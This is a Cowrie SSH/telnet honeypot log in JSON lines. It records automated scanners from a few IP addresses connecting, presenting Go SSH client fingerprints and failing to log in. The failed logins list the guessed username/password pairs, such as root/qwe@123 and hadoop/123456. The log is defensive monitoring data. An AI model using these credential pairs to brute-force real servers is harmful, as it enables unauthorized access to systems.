{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:41.544410Z","src_ip":"103.75.199.4","session":"7a3274865537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vm","password":"vm","message":"login attempt [vm/vm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:41.818265Z","src_ip":"103.75.199.4","session":"7a3274865537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:42.912680Z","src_ip":"103.75.199.4","session":"7a3274865537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":43780,"dst_ip":"159.203.135.109","dst_port":22,"session":"e981dbbdbf4f","protocol":"ssh","message":"New connection: 45.153.34.114:43780 (159.203.135.109:22) [session: e981dbbdbf4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:44.012373Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:44.016050Z","src_ip":"45.153.34.114","session":"e981dbbdbf4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:44.101981Z","src_ip":"45.153.34.114","session":"e981dbbdbf4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:44.529907Z","src_ip":"45.153.34.114","session":"e981dbbdbf4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:45.616953Z","src_ip":"45.153.34.114","session":"e981dbbdbf4f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":40030,"dst_ip":"159.203.135.109","dst_port":22,"session":"c630f7e22dcb","protocol":"ssh","message":"New connection: 45.153.34.114:40030 (159.203.135.109:22) [session: c630f7e22dcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:51.720865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:51.725600Z","src_ip":"45.153.34.114","session":"c630f7e22dcb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:51.810432Z","src_ip":"45.153.34.114","session":"c630f7e22dcb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"samanalid","password":"123456","message":"login attempt [samanalid/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:52.061222Z","src_ip":"45.153.34.114","session":"c630f7e22dcb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:53.148338Z","src_ip":"45.153.34.114","session":"c630f7e22dcb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"81.19.219.246","src_port":3926,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc6d8e392e53","protocol":"telnet","message":"New connection: 81.19.219.246:3926 (159.203.135.109:23) [session: cc6d8e392e53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:55.145560Z"}
{"eventid":"cowrie.session.closed","duration":120.00441813468933,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:58.215140Z","src_ip":"213.166.84.51","session":"677d3e41c01d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57816,"dst_ip":"159.203.135.109","dst_port":22,"session":"b300e6db29db","protocol":"ssh","message":"New connection: 45.153.34.114:57816 (159.203.135.109:22) [session: b300e6db29db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:59.596352Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:59.601421Z","src_ip":"45.153.34.114","session":"b300e6db29db","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:34:59.683712Z","src_ip":"45.153.34.114","session":"b300e6db29db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpUser","password":"ftpUser","message":"login attempt [ftpUser/ftpUser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:00.012470Z","src_ip":"45.153.34.114","session":"b300e6db29db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:01.125951Z","src_ip":"45.153.34.114","session":"b300e6db29db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36134,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dc79961ac42","protocol":"ssh","message":"New connection: 103.75.199.4:36134 (159.203.135.109:22) [session: 3dc79961ac42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:03.282995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:03.292501Z","src_ip":"103.75.199.4","session":"3dc79961ac42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:03.386490Z","src_ip":"103.75.199.4","session":"3dc79961ac42","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aiuser","password":"aiuser","message":"login attempt [aiuser/aiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:03.662587Z","src_ip":"103.75.199.4","session":"3dc79961ac42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:04.758053Z","src_ip":"103.75.199.4","session":"3dc79961ac42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":10.00104308128357,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:05.146479Z","src_ip":"81.19.219.246","session":"cc6d8e392e53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":57832,"dst_ip":"159.203.135.109","dst_port":22,"session":"aec5e59a6645","protocol":"ssh","message":"New connection: 45.153.34.114:57832 (159.203.135.109:22) [session: aec5e59a6645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:07.018433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:07.023123Z","src_ip":"45.153.34.114","session":"aec5e59a6645","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:07.105855Z","src_ip":"45.153.34.114","session":"aec5e59a6645","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"es123","message":"login attempt [es/es123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:07.366156Z","src_ip":"45.153.34.114","session":"aec5e59a6645","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:08.453977Z","src_ip":"45.153.34.114","session":"aec5e59a6645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":51974,"dst_ip":"159.203.135.109","dst_port":22,"session":"419761e99273","protocol":"ssh","message":"New connection: 45.153.34.114:51974 (159.203.135.109:22) [session: 419761e99273]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:14.919807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:14.925098Z","src_ip":"45.153.34.114","session":"419761e99273","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:15.008221Z","src_ip":"45.153.34.114","session":"419761e99273","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe@123","message":"login attempt [root/qwe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:15.268388Z","src_ip":"45.153.34.114","session":"419761e99273","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:16.356179Z","src_ip":"45.153.34.114","session":"419761e99273","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.114","src_port":39910,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ee885d05391","protocol":"ssh","message":"New connection: 45.153.34.114:39910 (159.203.135.109:22) [session: 9ee885d05391]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:22.933405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:22.938528Z","src_ip":"45.153.34.114","session":"9ee885d05391","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:23.029307Z","src_ip":"45.153.34.114","session":"9ee885d05391","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:23.288354Z","src_ip":"45.153.34.114","session":"9ee885d05391","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:24.383399Z","src_ip":"45.153.34.114","session":"9ee885d05391","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":36956,"dst_ip":"159.203.135.109","dst_port":22,"session":"209b1f720d3b","protocol":"ssh","message":"New connection: 103.75.199.4:36956 (159.203.135.109:22) [session: 209b1f720d3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:25.170268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T08:35:25.174925Z","src_ip":"103.75.199.4","session":"209b1f720d3b","protocol":"ssh"}
